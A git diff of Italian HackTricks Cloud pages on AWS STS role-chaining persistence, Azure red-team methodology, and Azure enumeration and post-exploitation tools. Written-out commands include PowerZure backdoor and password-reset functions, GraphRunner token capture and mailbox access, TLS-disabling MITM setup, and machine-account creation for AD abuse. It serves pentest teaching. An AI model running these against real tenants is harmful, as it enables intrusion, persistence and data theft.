diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 26b29d247..d60092244 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -18,8 +18,8 @@ I token temporanei non possono essere elencati, quindi mantenere un token tempor # Con MFA aws sts get-session-token \ ---serial-number <mfa-device-name> \ ---token-code <code-from-token> +--serial-number \ +--token-code # Il nome del dispositivo hardware è solitamente il numero sul retro del dispositivo, come GAHT12345678 # Il nome del dispositivo SMS è l'ARN in AWS, come arn:aws:iam::123456789012:sms-mfa/username @@ -28,7 +28,7 @@ aws sts get-session-token \ ### Role Chain Juggling -[**Il chaining dei ruoli è una funzionalità riconosciuta di AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere una persistenza furtiva. Comporta la capacità di **assumere un ruolo che poi assume un altro**, potenzialmente tornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumere reciprocamente, questa configurazione consente il rinnovo perpetuo delle credenziali. +[**Il chaining dei ruoli è una funzionalità riconosciuta di AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere una persistenza stealth. Comporta la capacità di **assumere un ruolo che poi assume un altro**, potenzialmente tornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumere reciprocamente, questa configurazione consente il rinnovo perpetuo delle credenziali. Puoi utilizzare questo [**strumento**](https://github.com/hotnops/AWSRoleJuggler/) per mantenere attivo il chaining dei ruoli: ```bash @@ -45,7 +45,7 @@ optional arguments:
Codice per eseguire il Role Juggling da PowerShell -```powershell +```bash # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index daeba1557..0e2b15c89 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -10,11 +10,11 @@ az-basic-information/ ## Metodologia di Pentesting/Red Team di Azure -Per auditare un ambiente AZURE è molto importante sapere: quali **servizi sono in uso**, cosa è **esposto**, chi ha **accesso** a cosa e come sono connessi i servizi interni di Azure e i **servizi esterni**. +Per auditare un ambiente AZURE è molto importante sapere: quali **servizi vengono utilizzati**, cosa è **esposto**, chi ha **accesso** a cosa e come sono connessi i servizi interni di Azure e i **servizi esterni**. Dal punto di vista di un Red Team, il **primo passo per compromettere un ambiente Azure** è riuscire a ottenere alcune **credenziali** per Azure AD. Ecco alcune idee su come farlo: -- **Leak** su github (o simili) - OSINT +- **Leaks** in github (o simili) - OSINT - **Ingegneria** Sociale - Riutilizzo della **Password** (leak di password) - Vulnerabilità nelle Applicazioni Ospitate su Azure @@ -22,10 +22,10 @@ Dal punto di vista di un Red Team, il **primo passo per compromettere un ambient - **Lettura di File Locali** - `/home/USERNAME/.azure` - `C:\Users\USERNAME\.azure` -- Il file **`accessTokens.json`** in `az cli` prima della versione 2.30 - Gennaio 2022 - memorizzava **token di accesso in chiaro** +- Il file **`accessTokens.json`** in `az cli` prima della versione 2.30 - Gen2022 - memorizzava **token di accesso in chiaro** - Il file **`azureProfile.json`** contiene **info** sull'utente connesso. - **`az logout`** rimuove il token. -- Le versioni precedenti di **`Az PowerShell`** memorizzavano **token di accesso** in **chiaro** in **`TokenCache.dat`**. Memorizza anche il **ServicePrincipalSecret** in **chiaro** in **`AzureRmContext.json`**. Il cmdlet **`Save-AzContext`** può essere utilizzato per **memorizzare** **token**.\ +- Le versioni precedenti di **`Az PowerShell`** memorizzavano i **token di accesso** in **chiaro** in **`TokenCache.dat`**. Memorizza anche il **ServicePrincipalSecret** in **chiaro** in **`AzureRmContext.json`**. Il cmdlet **`Save-AzContext`** può essere utilizzato per **memorizzare** **token**.\ Usa `Disconnect-AzAccount` per rimuoverli. - Terze parti **compromesse** - **Dipendente** Interno @@ -63,7 +63,7 @@ Nei casi in cui hai alcune credenziali valide ma non riesci a effettuare il logi - **Whitelist IP** -- Devi compromettere un IP valido - **Restrizioni Geografiche** -- Scopri dove vive l'utente o dove si trovano gli uffici dell'azienda e ottieni un IP dalla stessa città (o paese almeno) -- **Browser** -- Forse è consentito solo un browser di un certo OS (Windows, Linux, Mac, Android, iOS). Scopri quale OS utilizza la vittima/azienda. +- **Browser** -- Forse solo un browser di un certo OS (Windows, Linux, Mac, Android, iOS) è consentito. Scopri quale OS utilizza la vittima/azienda. - Puoi anche provare a **compromettere le credenziali del Service Principal** poiché di solito sono meno limitate e il loro login è meno controllato Dopo averlo bypassato, potresti essere in grado di tornare alla tua configurazione iniziale e avrai ancora accesso. @@ -92,7 +92,7 @@ az account management-group list #Not allowed by default {{#endtab }} {{#tab name="AzureAD" }} -```powershell +```bash #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant @@ -101,7 +101,7 @@ Get-AzureADTenantDetail {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext # List all available contexts @@ -124,7 +124,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user > > Puoi ottenere le stesse informazioni nella **console web** andando su [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) o cercando "Tutte le risorse" -### Enumerazione di ENtra ID +### Enumerazione di Entra ID Per impostazione predefinita, qualsiasi utente dovrebbe avere **sufficienti autorizzazioni per enumerare** cose come utenti, gruppi, ruoli, service principal... (controlla [autorizzazioni predefinite di AzureAD](az-basic-information/index.html#default-user-permissions)).\ Puoi trovare qui una guida: @@ -149,226 +149,4 @@ Usa portal.azure.com e seleziona la shell, oppure usa shell.azure.com, per un ba Azure DevOps è separato da Azure. Ha repository, pipeline (yaml o release), board, wiki e altro. I Gruppi di Variabili vengono utilizzati per memorizzare valori di variabili e segreti. -## Debug | MitM az cli - -Utilizzando il parametro **`--debug`** è possibile vedere tutte le richieste che lo strumento **`az`** sta inviando: -```bash -az account management-group list --output table --debug -``` -Per eseguire un **MitM** sullo strumento e **controllare tutte le richieste** che sta inviando manualmente, puoi fare: - -{{#tabs }} -{{#tab name="Bash" }} -```bash -export ADAL_PYTHON_SSL_NO_VERIFY=1 -export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 -export HTTPS_PROXY="http://127.0.0.1:8080" -export HTTP_PROXY="http://127.0.0.1:8080" - -# If this is not enough -# Download the certificate from Burp and convert it into .pem format -# And export the following env variable -openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM -export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem -``` -{{#endtab }} - -{{#tab name="PS" }} -```bash -$env:ADAL_PYTHON_SSL_NO_VERIFY=1 -$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 -$env:HTTPS_PROXY="http://127.0.0.1:8080" -$env:HTTP_PROXY="http://127.0.0.1:8080" -``` -{{#endtab }} -{{#endtabs }} - -## Strumenti di Ricognizione Automatizzati - -### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) -```powershell -cd ROADTools -pipenv shell -roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" -roadrecon gather -roadrecon gui -``` -### [Monkey365](https://github.com/silverhack/monkey365) -```powershell -Import-Module monkey365 -Get-Help Invoke-Monkey365 -Get-Help Invoke-Monkey365 -Detailed -Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue -Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML -``` -### [**Stormspotter**](https://github.com/Azure/Stormspotter) -```powershell -# Start Backend -cd stormspotter\backend\ -pipenv shell -python ssbackend.pyz - -# Start Front-end -cd stormspotter\frontend\dist\spa\ -quasar.cmd serve -p 9091 --history - -# Run Stormcollector -cd stormspotter\stormcollector\ -pipenv shell -az login -u test@corp.onmicrosoft.com -p Welcome2022! -python stormspotter\stormcollector\sscollector.pyz cli -# This will generate a .zip file to upload in the frontend (127.0.0.1:9091) -``` -### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) -```powershell -# You need to use the Az PowerShell and Azure AD modules: -$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force -$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd) -Connect-AzAccount -Credential $creds - -Import-Module AzureAD\AzureAD.psd1 -Connect-AzureAD -Credential $creds - -# Launch AzureHound -. AzureHound\AzureHound.ps1 -Invoke-AzureHound -Verbose - -# Simple queries -## All Azure Users -MATCH (n:AZUser) return n.name -## All Azure Applications -MATCH (n:AZApp) return n.objectid -## All Azure Devices -MATCH (n:AZDevice) return n.name -## All Azure Groups -MATCH (n:AZGroup) return n.name -## All Azure Key Vaults -MATCH (n:AZKeyVault) return n.name -## All Azure Resource Groups -MATCH (n:AZResourceGroup) return n.name -## All Azure Service Principals -MATCH (n:AZServicePrincipal) return n.objectid -## All Azure Virtual Machines -MATCH (n:AZVM) return n.name -## All Principals with the ‘Contributor’ role -MATCH p = (n)-[r:AZContributor]->(g) RETURN p - -# Advanced queries -## Get Global Admins -MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p -## Owners of Azure Groups -MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p -## All Azure Users and their Groups -MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p -## Privileged Service Principals -MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p -## Owners of Azure Applications -MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p -## Paths to VMs -MATCH p = (n)-[r]->(g: AZVM) RETURN p -## Paths to KeyVault -MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p -## Paths to Azure Resource Group -MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p -## On-Prem users with edges to Azure -MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p -## All Azure AD Groups that are synchronized with On-Premise AD -MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n -``` -### [Azucar](https://github.com/nccgroup/azucar) -```bash -# You should use an account with at least read-permission on the assets you want to access -git clone https://github.com/nccgroup/azucar.git -PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File - -PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT -PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 -PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 - -# resolve the TenantID for an specific username -PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com -``` -### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) -``` -Import-Module .\MicroBurst.psm1 -Import-Module .\Get-AzureDomainInfo.ps1 -Get-AzureDomainInfo -folder MicroBurst -Verbose -``` -### [**PowerZure**](https://github.com/hausec/PowerZure) -```powershell -Connect-AzAccount -ipmo C:\Path\To\Powerzure.psd1 -Get-AzureTarget - -# Reader -$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails - -# Contributor -$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami" -$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml" -$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents -$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk - -# Owner -$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest - -# Administrator -$ Create-Backdoor, Execute-Backdoor -``` -### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) -```powershell - -#Get-GraphTokens -#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) -Import-Module .\GraphRunner.ps1 -Get-GraphTokens - -#Invoke-GraphRecon -#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. -Invoke-GraphRecon -Tokens $tokens -PermissionEnum - -#Invoke-DumpCAPS -#A module to dump conditional access policies from a tenant. -Invoke-GraphRecon -Tokens $tokens -PermissionEnum - -#Invoke-DumpCAPS -#A module to dump conditional access policies from a tenant. -Invoke-DumpCAPS -Tokens $tokens -ResolveGuids - -#Invoke-DumpApps -#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. -Invoke-DumpApps -Tokens $tokens - -#Get-AzureADUsers -#Gather the full list of users from the directory. -Get-AzureADUsers -Tokens $tokens -OutFile users.txt - -#Get-SecurityGroups -#Create a list of security groups along with their members. -Get-SecurityGroups -AccessToken $tokens.access_token - -G#et-UpdatableGroups -#Gets groups that may be able to be modified by the current user -Get-UpdatableGroups -Tokens $tokens - -#Get-DynamicGroups -#Finds dynamic groups and displays membership rules -Get-DynamicGroups -Tokens $tokens - -#Get-SharePointSiteURLs -#Gets a list of SharePoint site URLs visible to the current user -Get-SharePointSiteURLs -Tokens $tokens - -#Invoke-GraphOpenInboxFinder -#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. -Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt - -#Get-TenantID -#This module attempts to gather a tenant ID associated with a domain. -Get-TenantID -Domain - -#Invoke-GraphRunner -#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. -Invoke-GraphRunner -Tokens $tokens -``` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index ffbd897ec..3497d050d 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -24,7 +24,7 @@ pwsh # Az cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash ``` -## Installa PowerShell su MacOS +## Installare PowerShell in MacOS Istruzioni dalla [**documentazione**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): @@ -91,7 +91,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" ### Az PowerShell -Azure PowerShell è un modulo con cmdlet per gestire le risorse Azure direttamente dalla riga di comando di PowerShell. +Azure PowerShell è un modulo con cmdlet per gestire le risorse di Azure direttamente dalla riga di comando di PowerShell. Segui questo link per le [**istruzioni di installazione**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). @@ -126,6 +126,245 @@ Il modulo Azure Active Directory (AD), ora **deprecato**, fa parte di Azure Powe > [!TIP] > Questo è sostituito da Microsoft Graph PowerShell -Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). +Segui questo link per le [**istruzioni di installazione**](https://www.powershellgallery.com/packages/AzureAD). +## Automated Recon & Compliance Tools + +### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure) + +Turbot con steampipe e powerpipe consente di raccogliere informazioni da Azure e Entra ID e di eseguire controlli di conformità e trovare configurazioni errate. I moduli Azure attualmente più raccomandati da eseguire sono: + +- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance) +- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights) +- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights) +```bash +# Install +brew install turbot/tap/powerpipe +brew install turbot/tap/steampipe +steampipe plugin install azure +steampipe plugin install azuread + +# Config creds via env vars or az cli default creds will be used +export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD" +export AZURE_TENANT_ID="" +export AZURE_SUBSCRIPTION_ID="" +export AZURE_CLIENT_ID="" +export AZURE_CLIENT_SECRET="" + +# Run steampipe-mod-azure-insights +cd /tmp +mkdir dashboards +cd dashboards +powerpipe mod init +powerpipe mod install github.com/turbot/steampipe-mod-azure-insights +steampipe service start +powerpipe server +# Go to http://localhost:9033 in a browser +``` +### [Prowler](https://github.com/prowler-cloud/prowler) + +Prowler è uno strumento di sicurezza Open Source per eseguire valutazioni delle migliori pratiche di sicurezza, audit, risposta agli incidenti, monitoraggio continuo, hardening e prontezza forense su AWS, Azure, Google Cloud e Kubernetes. + +Fondamentalmente ci permetterebbe di eseguire centinaia di controlli su un ambiente Azure per trovare misconfigurazioni di sicurezza e raccogliere i risultati in json (e in altri formati di testo) o controllarli sul web. +```bash +# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app + +# Launch web with docker-compose +export DOCKER_DEFAULT_PLATFORM=linux/amd64 +curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml +curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env +## If using an old docker-compose version, change the "env_file" params to: env_file: ".env" +docker compose up -d +# Access the web and configure the access to run a scan from it + +# Prowler cli +python3 -m pip install prowler --break-system-packages +docker run --rm toniblyx/prowler:v4-latest azure --list-checks +docker run --rm toniblyx/prowler:v4-latest azure --list-services +docker run --rm toniblyx/prowler:v4-latest azure --list-compliance +docker run --rm -e "AZURE_CLIENT_ID=" -e "AZURE_TENANT_ID=" -e "AZURE_CLIENT_SECRET=" toniblyx/prowler:v4-latest azure --sp-env-auth +## It also support other authentication types, check: prowler azure --help +``` +### [Monkey365](https://github.com/silverhack/monkey365) + +Consente di eseguire automaticamente le revisioni della configurazione della sicurezza delle sottoscrizioni Azure e di Microsoft Entra ID. + +I rapporti HTML sono memorizzati nella directory `./monkey-reports` all'interno della cartella del repository github. +```bash +git clone https://github.com/silverhack/monkey365 +Get-ChildItem -Recurse monkey365 | Unblock-File +cd monkey365 +Import-Module ./monkey365 +mkdir /tmp/monkey365-scan +cd /tmp/monkey365-scan + +Get-Help Invoke-Monkey365 +Get-Help Invoke-Monkey365 -Detailed + +# Scan with user creds (browser will be run) +Invoke-Monkey365 -TenantId -Instance Azure -Collect All -ExportTo HTML + +# Scan with App creds +$SecureClientSecret = ConvertTo-SecureString "" -AsPlainText -Force +Invoke-Monkey365 -TenantId -ClientId -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML +``` +### [ScoutSuite](https://github.com/nccgroup/ScoutSuite) + +Scout Suite raccoglie dati di configurazione per ispezione manuale e evidenzia le aree a rischio. È uno strumento di auditing della sicurezza multi-cloud, che consente la valutazione della postura di sicurezza degli ambienti cloud. +```bash +virtualenv -p python3 venv +source venv/bin/activate +pip install scoutsuite +scout --help + +# Use --cli flag to use az cli credentials +# Use --user-account to have scout prompt for user credentials +# Use --user-account-browser to launch a browser to login +# Use --service-principal to have scout prompt for app credentials + +python scout.py azure --cli +``` +### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting) + +È uno script PowerShell che ti aiuta a **visualizzare tutte le risorse e i permessi all'interno di un Management Group e del tenant Entra ID** e a trovare configurazioni di sicurezza errate. + +Funziona utilizzando il modulo Az PowerShell, quindi qualsiasi autenticazione supportata da questo strumento è supportata dallo strumento. +```bash +import-module Az +.\AzGovVizParallel.ps1 -ManagementGroupId [-SubscriptionIdWhitelist ] +``` +## Strumenti di Post-Exploitation Automatizzati + +### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) + +L'enumerazione di ROADRecon offre informazioni sulla configurazione di Entra ID, come utenti, gruppi, ruoli, politiche di accesso condizionale... +```bash +cd ROADTools +pipenv shell +# Login with user creds +roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" +# Login with app creds +roadrecon auth --as-app --client "" --password "" --tenant "" +roadrecon gather +roadrecon gui +``` +### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) +```bash +# Launch AzureHound +## Login with app secret +azurehound -a "" -s "" --tenant "" list -o ./output.json +## Login with user creds +azurehound -u "" -p "" --tenant "" list -o ./output.json +``` +Lancia il **BloodHound** web con **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** e importa il file `output.json`. + +Poi, nella scheda **EXPLORE**, nella sezione **CYPHER** puoi vedere un'icona a **cartella** che contiene query predefinite. + +### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) + +MicroBurst include funzioni e script che supportano la scoperta dei servizi Azure, l'audit delle configurazioni deboli e azioni post exploitation come il credential dumping. È destinato ad essere utilizzato durante i test di penetrazione in cui Azure è in uso. +```bash +Import-Module .\MicroBurst.psm1 +Import-Module .\Get-AzureDomainInfo.ps1 +Get-AzureDomainInfo -folder MicroBurst -Verbose +``` +### [**PowerZure**](https://github.com/hausec/PowerZure) + +PowerZure è stato creato dalla necessità di un framework che possa sia eseguire ricognizione che sfruttamento di Azure, EntraID e delle risorse associate. + +Utilizza il modulo **Az PowerShell**, quindi qualsiasi autenticazione supportata da questo strumento è supportata dallo strumento. +```bash +# Login +Import-Module Az +Connect-AzAccount + +# Clone and import PowerZure +git clone https://github.com/hausec/PowerZure +cd PowerZure +ipmo ./Powerzure.psd1 +Invoke-Powerzure -h # Check all the options + +# Info Gathering (read) +Get-AzureCurrentUser # Get current user +Get-AzureTarget # What can you access to +Get-AzureUser -All # Get all users +Get-AzureSQLDB -All # Get all SQL DBs +Get-AzureAppOwner # Owners of apps in Entra +Show-AzureStorageContent -All # List containers, shared and tables +Show-AzureKeyVaultContent -All # List all contents in key vaults + + +# Operational (write) +Set-AzureUserPassword -Password -Username # Change password +Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC. +New-AzureBackdoor -Username -Password +Invoke-AzureRunCommand -Command -VMName +[...] +``` +### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) + +GraphRunner è un insieme di strumenti di post-exploitation per interagire con l'API Microsoft Graph. Fornisce vari strumenti per eseguire ricognizione, persistenza e saccheggio di dati da un account Microsoft Entra ID (Azure AD). +```bash +#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) +Import-Module .\GraphRunner.ps1 +Get-GraphTokens + +#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. +Invoke-GraphRecon -Tokens $tokens -PermissionEnum + +#A module to dump conditional access policies from a tenant. +Invoke-GraphRecon -Tokens $tokens -PermissionEnum + +#A module to dump conditional access policies from a tenant. +Invoke-DumpCAPS -Tokens $tokens -ResolveGuids + +#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. +Invoke-DumpApps -Tokens $tokens + +#Gather the full list of users from the directory. +Get-AzureADUsers -Tokens $tokens -OutFile users.txt + +#Create a list of security groups along with their members. +Get-SecurityGroups -AccessToken $tokens.access_token + +#Gets groups that may be able to be modified by the current user +Get-UpdatableGroups -Tokens $tokens + +#Finds dynamic groups and displays membership rules +Get-DynamicGroups -Tokens $tokens + +#Gets a list of SharePoint site URLs visible to the current user +Get-SharePointSiteURLs -Tokens $tokens + +#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. +Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt + +#This module attempts to gather a tenant ID associated with a domain. +Get-TenantID -Domain + +#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. +Invoke-GraphRunner -Tokens $tokens +``` +### [Stormspotter](https://github.com/Azure/Stormspotter) + +Stormspotter crea un “grafico degli attacchi” delle risorse in un abbonamento Azure. Consente ai red team e ai pentester di visualizzare la superficie di attacco e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi difensori per orientarsi rapidamente e dare priorità al lavoro di risposta agli incidenti. + +**Sfortunatamente, sembra non essere mantenuto**. +```bash +# Start Backend +cd stormspotter\backend\ +pipenv shell +python ssbackend.pyz + +# Start Front-end +cd stormspotter\frontend\dist\spa\ +quasar.cmd serve -p 9091 --history + +# Run Stormcollector +cd stormspotter\stormcollector\ +pipenv shell +az login -u test@corp.onmicrosoft.com -p Welcome2022! +python stormspotter\stormcollector\sscollector.pyz cli +# This will generate a .zip file to upload in the frontend (127.0.0.1:9091) +``` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 28f39b16d..16f180846 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,17 +4,17 @@ ### Identifying the Issues -Azure Arc consente l'integrazione di nuovi server interni (server del dominio uniti) in Azure Arc utilizzando il metodo Group Policy Object. Per facilitare questo, Microsoft fornisce un toolkit di distribuzione necessario per avviare la procedura di onboarding. All'interno del file ArcEnableServerGroupPolicy.zip, si possono trovare i seguenti script: DeployGPO.ps1, EnableAzureArc.ps1 e AzureArcDeployment.psm1. +Azure Arc consente l'integrazione di nuovi server interni (server di dominio uniti) in Azure Arc utilizzando il metodo Group Policy Object. Per facilitare questo, Microsoft fornisce un toolkit di distribuzione necessario per avviare la procedura di onboarding. All'interno del file ArcEnableServerGroupPolicy.zip, si possono trovare i seguenti script: DeployGPO.ps1, EnableAzureArc.ps1 e AzureArcDeployment.psm1. Quando viene eseguito, lo script DeployGPO.ps1 esegue le seguenti azioni: 1. Crea il GPO di Onboarding dei Server Azure Arc all'interno del dominio locale. 2. Copia lo script di onboarding EnableAzureArc.ps1 nella condivisione di rete designata creata per il processo di onboarding, che contiene anche il pacchetto di installazione di Windows. -Quando si esegue questo script, gli amministratori di sistema devono fornire due parametri principali: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Inoltre, richiede altri parametri come il dominio, il FQDN del server che ospita la condivisione e il nome della condivisione. Ulteriori dettagli come l'ID del tenant, il gruppo di risorse e altre informazioni necessarie devono essere forniti allo script. +Quando si esegue questo script, gli amministratori di sistema devono fornire due parametri principali: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Inoltre, richiede altri parametri come il dominio, il FQDN del server che ospita la condivisione e il nome della condivisione. Ulteriori dettagli come l'ID del tenant, il gruppo di risorse e altre informazioni necessarie devono essere forniti anche allo script. Un segreto crittografato viene generato nella directory AzureArcDeploy sulla condivisione specificata utilizzando la crittografia DPAPI-NG. Il segreto crittografato è memorizzato in un file chiamato encryptedServicePrincipalSecret. Prova di questo può essere trovata nello script DeployGPO.ps1, dove la crittografia viene eseguita chiamando ProtectBase64 con $descriptor e $ServicePrincipalSecret come input. Il descriptor consiste negli SID dei gruppi Domain Computer e Domain Controller, garantendo che il ServicePrincipalSecret possa essere decrittografato solo dai Domain Controllers e dai gruppi di sicurezza Domain Computers, come indicato nei commenti dello script. -```powershell +```bash # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID $DomainControllersSID = "SID=" + $DomainControllersSID @@ -31,20 +31,20 @@ Abbiamo le seguenti condizioni: 3. Abbiamo scoperto una condivisione di rete contenente la directory AzureArcDeploy. Ci sono diversi metodi per ottenere un account macchina all'interno di un ambiente AD. Uno dei più comuni è sfruttare il quota degli account macchina. Un altro metodo prevede il compromesso di un account macchina attraverso ACL vulnerabili o varie altre configurazioni errate. -```powershell +```bash Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) 